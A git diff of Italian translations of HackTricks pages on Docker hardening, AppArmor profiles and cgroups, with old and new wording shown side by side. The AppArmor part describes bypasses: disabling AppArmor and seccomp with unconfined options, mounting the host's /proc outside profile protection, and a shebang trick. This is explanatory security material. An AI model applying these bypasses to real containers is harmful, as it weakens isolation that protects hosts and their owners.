2. Prefissando i comandi: `DOCKER_BUILDKIT=1 docker build .` 2. Prefissando i comandi: `DOCKER_BUILDKIT=1 docker build .`
3. Abilitandolo per impostazione predefinita nella configurazione di Docker: `{ "features": { "buildkit": true } }`, seguito da un riavvio di Docker. 3. Abilitandolo per impostazione predefinita nella configurazione di Docker: `{ "features": { "buildkit": true } }`, seguito da un riavvio di Docker.
BuildKit consente l'uso di segreti di build-time con l'opzione `--secret`, garantendo che questi segreti non siano inclusi nella cache di build dell'immagine o nell'immagine finale, utilizzando un comando come: BuildKit consente l'uso di password in fase di build con l'opzione `--secret`, garantendo che queste password non siano incluse nella cache di build dell'immagine o nell'immagine finale, utilizzando un comando come:
```bash ```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file . docker build --secret my_key=my_value ,src=path/to/my_secret_file .
``` ```
@ -337,37 +338,37 @@ secrets:
my_secret: my_secret:
file: ./my_secret_file.txt file: ./my_secret_file.txt
``` ```
Questo file di configurazione consente l'uso di segreti durante l'avvio dei servizi con Docker Compose. Questa configurazione consente l'uso di segreti durante l'avvio dei servizi con Docker Compose.
Negli ambienti Kubernetes, i segreti sono supportati nativamente e possono essere ulteriormente gestiti con strumenti come [Helm-Secrets](https://github.com/futuresimple/helm-secrets). I controlli degli accessi basati sui ruoli (RBAC) di Kubernetes migliorano la sicurezza della gestione dei segreti, simile a Docker Enterprise. Negli ambienti Kubernetes, i segreti sono supportati nativamente e possono essere ulteriormente gestiti con strumenti come [Helm-Secrets](https://github.com/futuresimple/helm-secrets). I controlli degli accessi basati sui ruoli (RBAC) di Kubernetes migliorano la sicurezza della gestione dei segreti, simile a Docker Enterprise.
### gVisor ### gVisor
**gVisor** è un kernel dell'applicazione, scritto in Go, che implementa una parte sostanziale della superficie di sistema Linux. Include un runtime [Open Container Initiative (OCI)](https://www.opencontainers.org) chiamato `runsc` che fornisce un **confine di isolamento tra l'applicazione e il kernel host**. Il runtime `runsc` si integra con Docker e Kubernetes, semplificando l'esecuzione di container sandbox. **gVisor** è un kernel dell'applicazione, scritto in Go, che implementa una parte sostanziale della superficie di sistema Linux. Include un runtime [Open Container Initiative (OCI)](https://www.opencontainers.org) chiamato `runsc` che fornisce un **confine di isolamento tra l'applicazione e il kernel host**. Il runtime `runsc` si integra con Docker e Kubernetes, rendendo semplice l'esecuzione di container sandbox.
{% embed url="https://github.com/google/gvisor" %} {% embed url="https://github.com/google/gvisor" %}
### Kata Containers ### Kata Containers
**Kata Containers** è una comunità open source che lavora per costruire un runtime di container sicuro con macchine virtuali leggere che si comportano e si esibiscono come container, ma forniscono un'**isolamento del carico di lavoro più forte utilizzando la tecnologia di virtualizzazione hardware** come secondo strato di difesa. **Kata Containers** è una comunità open source che lavora per costruire un runtime di container sicuro con macchine virtuali leggere che si comportano e si esibiscono come container, ma forniscono un'**isolamento del carico di lavoro più forte utilizzando la tecnologia di virtualizzazione hardware** come secondo livello di difesa.
{% embed url="https://katacontainers.io/" %} {% embed url="https://katacontainers.io/" %}
### Suggerimenti Riassuntivi ### Suggerimenti Riassuntivi
* **Non utilizzare il flag `--privileged` o montare un** [**socket Docker all'interno del container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Il socket Docker consente di avviare container, quindi è un modo semplice per assumere il pieno controllo dell'host, ad esempio, eseguendo un altro container con il flag `--privileged`. * **Non utilizzare il flag `--privileged` o montare un** [**socket Docker all'interno del container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Il socket Docker consente di avviare container, quindi è un modo semplice per assumere il pieno controllo dell'host, ad esempio, eseguendo un altro container con il flag `--privileged`.
* **Non eseguire come root all'interno del container. Utilizzare un** [**utente diverso**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **e** [**spazi utente**](https://docs.docker.com/engine/security/userns-remap/)**.** Il root nel container è lo stesso dell'host a meno che non venga rimappato con spazi utente. È solo leggermente limitato principalmente da spazi utente Linux, capacità e cgroups. * Non eseguire come root all'interno del container. Utilizzare un [**utente diverso**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) e [**spazi utente**](https://docs.docker.com/engine/security/userns-remap/)**.** Il root nel container è lo stesso dell'host a meno che non venga rimappato con spazi utente. È solo leggermente limitato principalmente da spazi dei nomi Linux, capacità e cgroups.
* [**Eliminare tutte le capacità**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) e abilitare solo quelle necessarie** (`--cap-add=...`). Molti carichi di lavoro non necessitano di alcuna capacità e aggiungerle aumenta la portata di un potenziale attacco. * [**Eliminare tutte le capacità**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) e abilitare solo quelle necessarie** (`--cap-add=...`). Molti carichi di lavoro non necessitano di alcuna capacità e aggiungerle aumenta la portata di un potenziale attacco.
* [**Utilizzare l'opzione di sicurezza "no-new-privileges"**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) per impedire ai processi di ottenere più privilegi, ad esempio attraverso binari suid. * [**Utilizzare l'opzione di sicurezza "no-new-privileges"**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) per impedire ai processi di acquisire più privilegi, ad esempio attraverso binari suid.
* [**Limitare le risorse disponibili al container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** I limiti delle risorse possono proteggere la macchina da attacchi di denial of service. * [**Limitare le risorse disponibili al container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** I limiti delle risorse possono proteggere la macchina da attacchi di denial of service.
* **Regolare** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(o SELinux)** i profili per limitare le azioni e le chiamate di sistema disponibili per il container al minimo richiesto. * **Regolare** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(o SELinux)** i profili per limitare le azioni e le chiamate di sistema disponibili per il container al minimo richiesto.
* **Utilizzare** [**immagini docker ufficiali**](https://docs.docker.com/docker-hub/official\_images/) **e richiedere firme** o creare le proprie basate su di esse. Non ereditare o utilizzare immagini [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Conservare anche le chiavi root, passphrase in un luogo sicuro. Docker ha piani per gestire le chiavi con UCP. * **Utilizzare** [**immagini docker ufficiali**](https://docs.docker.com/docker-hub/official\_images/) **e richiedere firme** o creare le proprie basate su di esse. Non ereditare o utilizzare immagini [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Conservare anche le chiavi di root, passphrase in un luogo sicuro. Docker ha piani per gestire le chiavi con UCP.
* **Ricostruire regolarmente** le tue immagini per **applicare patch di sicurezza all'host e alle immagini.** * **Ricostruire regolarmente** le tue immagini per **applicare patch di sicurezza all'host e alle immagini**.
* Gestire i **segreti saggiamente** in modo che sia difficile per l'attaccante accedervi. * Gestire i **segreti saggiamente** in modo che sia difficile per l'attaccante accedervi.
* Se **esponi il demone docker usa HTTPS** con autenticazione client e server. * Se **esponi il demone docker usa HTTPS** con autenticazione client e server.
* Nel tuo Dockerfile, **preferisci COPY invece di ADD**. ADD estrae automaticamente file zippati e può copiare file da URL. COPY non ha queste capacità. Quando possibile, evita di utilizzare ADD per non essere suscettibile ad attacchi attraverso URL remoti e file Zip. * Nel tuo Dockerfile, **preferisci COPY invece di ADD**. ADD estrae automaticamente file zippati e può copiare file da URL. COPY non ha queste capacità. Quando possibile, evita di utilizzare ADD per non essere suscettibile ad attacchi attraverso URL remoti e file Zip.
* Avere **container separati per ogni micro-s**ervizio * Avere **container separati per ogni microservizio**.
* **Non inserire ssh** all'interno del container, "docker exec" può essere utilizzato per ssh al Container. * **Non inserire ssh** all'interno del container, "docker exec" può essere utilizzato per ssh al container.
* Avere **immagini di container più piccole** * Avere **immagini di container più piccole**
## Fuga da Docker / Escalation dei Privilegi ## Fuga da Docker / Escalation dei Privilegi
@ -415,15 +416,17 @@ Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
{% hint style="success" %}
Impara e pratica l'hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# AppArmor # AppArmor
{% hint style="success" %}
Impara e pratica l'hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io) ### [WhiteIntel](https://whiteintel.io)
@ -20,7 +21,7 @@ Altri modi per supportare HackTricks:
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**. [**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**.
Il loro obiettivo principale di WhiteIntel è combattere i takeover di account e gli attacchi ransomware derivanti da malware che rubano informazioni. Il loro obiettivo principale è contrastare le violazioni degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.
Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su: Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su:
@ -30,24 +31,24 @@ Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su:
## Informazioni di Base ## Informazioni di Base
AppArmor è un **miglioramento del kernel progettato per limitare le risorse disponibili ai programmi attraverso profili per programma**, implementando efficacemente il Controllo di Accesso Obbligatorio (MAC) legando gli attributi di controllo degli accessi direttamente ai programmi anziché agli utenti. Questo sistema opera caricando i profili nel kernel, di solito durante l'avvio, e questi profili indicano a quali risorse un programma può accedere, come connessioni di rete, accesso a socket grezzi e autorizzazioni sui file. AppArmor è un **miglioramento del kernel progettato per limitare le risorse disponibili ai programmi attraverso profili per programma**, implementando efficacemente il Controllo di Accesso Obbligatorio (MAC) legando gli attributi di controllo degli accessi direttamente ai programmi anziché agli utenti. Questo sistema opera **caricando i profili nel kernel**, di solito durante l'avvio, e questi profili indicano a quali risorse un programma può accedere, come connessioni di rete, accesso a socket grezzi e autorizzazioni sui file.
Ci sono due modalità operative per i profili di AppArmor: Ci sono due modalità operative per i profili di AppArmor:
* **Modalità di Applicazione**: Questa modalità applica attivamente le politiche definite all'interno del profilo, bloccando azioni che violano queste politiche e registrando qualsiasi tentativo di violarle attraverso sistemi come syslog o auditd. * **Modalità di Applicazione**: Questa modalità applica attivamente le politiche definite all'interno del profilo, bloccando le azioni che violano tali politiche e registrando qualsiasi tentativo di violarle attraverso sistemi come syslog o auditd.
* **Modalità di Lamentele**: A differenza della modalità di applicazione, la modalità di lamentele non blocca le azioni che vanno contro le politiche del profilo. Invece, registra questi tentativi come violazioni di politica senza applicare restrizioni. * **Modalità di Lamentele**: A differenza della modalità di applicazione, la modalità di lamentele non blocca le azioni che vanno contro le politiche del profilo. Invece, registra questi tentativi come violazioni delle politiche senza imporre restrizioni.
### Componenti di AppArmor ### Componenti di AppArmor
* **Modulo Kernel**: Responsabile dell'applicazione delle politiche. * **Modulo Kernel**: Responsabile dell'applicazione delle politiche.
* **Politiche**: Specificano le regole e le restrizioni per il comportamento del programma e l'accesso alle risorse. * **Politiche**: Specificano le regole e le restrizioni per il comportamento del programma e l'accesso alle risorse.
* **Parser**: Carica le politiche nel kernel per l'applicazione o la segnalazione. * **Parser**: Carica le politiche nel kernel per l'applicazione o la segnalazione.
* **Utilità**: Questi sono programmi in modalità utente che forniscono un'interfaccia per interagire e gestire AppArmor. * **Utility**: Sono programmi in modalità utente che forniscono un'interfaccia per interagire e gestire AppArmor.
### Percorso dei Profili ### Percorso dei Profili
I profili di AppArmor sono di solito salvati in _**/etc/apparmor.d/**_\ I profili di AppArmor sono di solito salvati in _**/etc/apparmor.d/**_\
Con `sudo aa-status` sarai in grado di elencare i binari che sono limitati da qualche profilo. Se puoi cambiare il carattere "/" con un punto del percorso di ogni binario elencato e otterrai il nome del profilo di apparmor all'interno della cartella menzionata. Con `sudo aa-status` sarai in grado di elencare i binari che sono limitati da qualche profilo. Se sostituisci il carattere "/" con un punto nel percorso di ciascun binario elencato, otterrai il nome del profilo di apparmor all'interno della cartella menzionata.
Ad esempio, un profilo **apparmor** per _/usr/bin/man_ sarà situato in _/etc/apparmor.d/usr.bin.man_ Ad esempio, un profilo **apparmor** per _/usr/bin/man_ sarà situato in _/etc/apparmor.d/usr.bin.man_
@ -79,7 +80,7 @@ aa-mergeprof #used to merge the policies
### aa-genprof ### aa-genprof
Per iniziare facilmente a creare un profilo, apparmor può aiutarti. È possibile fare in modo che **apparmor ispezioni le azioni eseguite da un binario e quindi ti permetta di decidere quali azioni desideri consentire o negare**.\ Per iniziare facilmente a creare un profilo, apparmor può aiutarti. È possibile fare in modo che **apparmor ispezioni le azioni eseguite da un binario e poi ti permetta di decidere quali azioni vuoi consentire o negare**.\
Basta eseguire: Basta eseguire:
```bash ```bash
sudo aa-genprof /path/to/binary sudo aa-genprof /path/to/binary
@ -136,7 +137,7 @@ Il seguente strumento leggerà i log e chiederà all'utente se desidera permette
sudo aa-logprof sudo aa-logprof
``` ```
{% hint style="info" %} {% hint style="info" %}
Usando i tasti freccia puoi selezionare cosa desideri consentire/negare/o qualsiasi altra azione Utilizzando i tasti freccia puoi selezionare ciò che desideri consentire/negare/o qualsiasi altra azione
{% endhint %} {% endhint %}
### Gestione di un Profilo ### Gestione di un Profilo
@ -195,9 +196,9 @@ Di default il profilo **Apparmor docker-default** è generato da [https://github
**Sommario del profilo docker-default**: **Sommario del profilo docker-default**:
- **Accesso** a tutta la **rete** - **Accesso** a tutta la **rete**
- **Nessuna capacità** è definita (Tuttavia, alcune capacità verranno incluse dalle regole di base di base, ad es. #include \<abstractions/base>) - **Nessuna capability** è definita (Tuttavia, alcune capabilities verranno incluse dalle regole di base di base, ad es. #include \<abstractions/base>)
- **Scrittura** su qualsiasi file **/proc** non è **permessa** - **Scrittura** su qualsiasi file **/proc** non è **permessa**
- Altre **sottodirectory**/**file** di /**proc** e /**sys** sono **negati** accesso in lettura/scrittura/blocco/link/esecuzione - Altre **sottodirectory**/**file** di /**proc** e /**sys** hanno accesso **negato** in lettura/scrittura/blocco/link/esecuzione
- **Montaggio** non è **permesso** - **Montaggio** non è **permesso**
- **Ptrace** può essere eseguito solo su un processo confinato dallo **stesso profilo apparmor** - **Ptrace** può essere eseguito solo su un processo confinato dallo **stesso profilo apparmor**
@ -206,7 +207,7 @@ Una volta che **avvii un container docker** dovresti vedere l'output seguente:
1 processes are in enforce mode. 1 processes are in enforce mode.
docker-default (825) docker-default (825)
``` ```
Nota che **apparmor bloccherà persino i privilegi delle capabilities** concessi al container per impostazione predefinita. Ad esempio, sarà in grado di **bloccare il permesso di scrittura all'interno di /proc anche se la capability SYS\_ADMIN è stata concessa** perché per impostazione predefinita il profilo apparmor di docker nega questo accesso: Nota che **apparmor bloccherà persino i privilegi delle capabilities** concessi al container per impostazione predefinita. Ad esempio, sarà in grado di **bloccare il permesso di scrittura all'interno di /proc anche se la capability SYS\_ADMIN è concessa** perché per impostazione predefinita il profilo apparmor di docker nega questo accesso:
```bash ```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
echo "" > /proc/stat echo "" > /proc/stat
@ -216,16 +217,16 @@ Devi **disabilitare apparmor** per eludere le sue restrizioni:
```bash ```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
``` ```
Nota che per impostazione predefinita **AppArmor** vieterà anche al container di montare cartelle dall'interno anche con la capacità SYS_ADMIN. Nota che di default **AppArmor** vieterà anche al contenitore di montare cartelle dall'interno anche con la capacità SYS\_ADMIN.
Nota che puoi **aggiungere/rimuovere** **capacità** al container docker (questo sarà comunque limitato da metodi di protezione come **AppArmor** e **Seccomp**): Nota che puoi **aggiungere/rimuovere** **capacità** al contenitore docker (questo sarà comunque limitato da metodi di protezione come **AppArmor** e **Seccomp**):
* `--cap-add=SYS_ADMIN` aggiunge la capacità `SYS_ADMIN` * `--cap-add=SYS_ADMIN` aggiunge la capacità `SYS_ADMIN`
* `--cap-add=ALL` aggiunge tutte le capacità * `--cap-add=ALL` aggiunge tutte le capacità
* `--cap-drop=ALL --cap-add=SYS_PTRACE` rimuove tutte le capacità e aggiunge solo `SYS_PTRACE` * `--cap-drop=ALL --cap-add=SYS_PTRACE` rimuove tutte le capacità e aggiunge solo `SYS_PTRACE`
{% hint style="info" %} {% hint style="info" %}
Di solito, quando ti **accorgi** di avere una **capacità privilegiata** disponibile **all'interno** di un **container docker** ma una parte dell'**exploit non funziona**, questo sarà perché **AppArmor di docker lo sta impedendo**. Di solito, quando **trovi** che hai una **capacità privilegiata** disponibile **all'interno** di un **contenitore docker** ma una parte dell'**exploit non funziona**, questo sarà perché **AppArmor di docker lo sta impedendo**.
{% endhint %} {% endhint %}
### Esempio ### Esempio
@ -250,7 +251,7 @@ Come mostrato di seguito, otteniamo un errore quando cerchiamo di modificare "/e
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname $ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
chmod: /etc/hostname: Permission denied chmod: /etc/hostname: Permission denied
``` ```
### AppArmor Docker Bypass1 ### Bypass di AppArmor Docker1
È possibile trovare quale **profilo apparmor sta eseguendo un contenitore** utilizzando: È possibile trovare quale **profilo apparmor sta eseguendo un contenitore** utilizzando:
```bash ```bash
@ -262,9 +263,11 @@ Quindi, puoi eseguire la seguente riga per **trovare il profilo esatto in uso**:
```bash ```bash
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
``` ```
### Bypass di AppArmor Docker Nel caso strano in cui è possibile **modificare il profilo apparmor di Docker e ricaricarlo**, potresti rimuovere le restrizioni e "bypassarle".
**AppArmor è basato sui percorsi**, ciò significa che anche se potrebbe essere **protettivo** nei confronti dei file all'interno di una directory come **`/proc`**, se puoi **configurare come verrà eseguito il container**, potresti **montare** la directory proc dell'host all'interno di **`/host/proc`** e questa **non sarà più protetta da AppArmor**. ### Bypass di AppArmor Docker2
**AppArmor è basato sui percorsi**, ciò significa che anche se potrebbe essere **protettivo** nei confronti dei file all'interno di una directory come **`/proc`**, se puoi **configurare come verrà eseguito il container**, potresti **montare** la directory proc dell'host all'interno di **`/host/proc`** e non sarà più protetta da AppArmor.
### Bypass di AppArmor Shebang ### Bypass di AppArmor Shebang
@ -284,22 +287,23 @@ chmod +x /tmp/test.pl
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**. [**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**.
Il loro obiettivo principale di WhiteIntel è combattere le violazioni degli account e gli attacchi ransomware derivanti da malware che rubano informazioni. Il loro obiettivo principale di WhiteIntel è combattere i takeover di account e gli attacchi di ransomware derivanti da malware che rubano informazioni.
Puoi visitare il loro sito web e provare il loro motore gratuitamente su: Puoi visitare il loro sito web e provare il loro motore gratuitamente su:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# CGroups # CGroups
{% hint style="success" %}
Impara e pratica l'hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
## Informazioni di Base ## Informazioni di Base
@ -22,9 +23,9 @@ Ci sono **due versioni di cgroups**: versione 1 e versione 2. Entrambe possono e
Oltre alla nuova organizzazione gerarchica, cgroups versione 2 ha introdotto **diverse altre modifiche e miglioramenti**, come il supporto per **nuovi controller di risorse**, un miglior supporto per le applicazioni legacy e prestazioni migliorate. Oltre alla nuova organizzazione gerarchica, cgroups versione 2 ha introdotto **diverse altre modifiche e miglioramenti**, come il supporto per **nuovi controller di risorse**, un miglior supporto per le applicazioni legacy e prestazioni migliorate.
Complessivamente, cgroups **versione 2 offre più funzionalità e migliori prestazioni** rispetto alla versione 1, ma quest'ultima potrebbe essere ancora utilizzata in determinati scenari in cui la compatibilità con sistemi più vecchi è una preoccupazione. Complessivamente, cgroups **versione 2 offre più funzionalità e migliori prestazioni** rispetto alla versione 1, ma quest'ultima potrebbe essere comunque utilizzata in determinati scenari in cui è importante la compatibilità con sistemi più vecchi.
Puoi elencare i cgroups v1 e v2 per qualsiasi processo guardando il suo file cgroup in /proc/\<pid>. Puoi iniziare guardando i cgroups della tua shell con questo comando: È possibile elencare i cgroups v1 e v2 per qualsiasi processo guardando il suo file cgroup in /proc/\<pid>. Si può iniziare guardando i cgroups della tua shell con questo comando:
```shell-session ```shell-session
